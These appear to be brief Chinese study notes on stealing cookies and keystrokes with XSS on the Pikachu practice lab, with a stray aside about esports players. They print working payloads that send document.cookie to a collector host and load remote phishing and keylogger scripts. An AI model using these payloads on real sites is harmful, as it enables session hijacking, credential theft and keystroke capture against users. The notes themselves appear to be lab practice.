xss--xss平台搭建

pikachu

get型xss

1、xss平台需要先修改配置文件

 

 2、payload：<script>document.location='http://192.168.221.135(xss平台的ip地址)/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

 以后我也要写一个 which LCK player do u like？faker？who is faker ，i don't care.who is chovy ，i don't care.showmaker?抓住此生仅有的机会！

post型xss

1、点击连接后访问本机已经登录后的网站

2、将网站的cookie发送到xss平台

 

payload：192.168.221.135/pikachu/pkxss/xcookie/post.html

钓鱼

修改fish文件，改成自己的ip

 payload：<script src="http://192.168.221.135/pikachu/pkxss/xfish/fish.php"></script>

php版本问题，钓鱼无法成功

解决：cloud.tencent.com/developer/article/1853923

键盘记录

修改代码

 payload：<script src="http://192.168.221.135/pikachu/pkxss/rkeypress/rk.js"></script>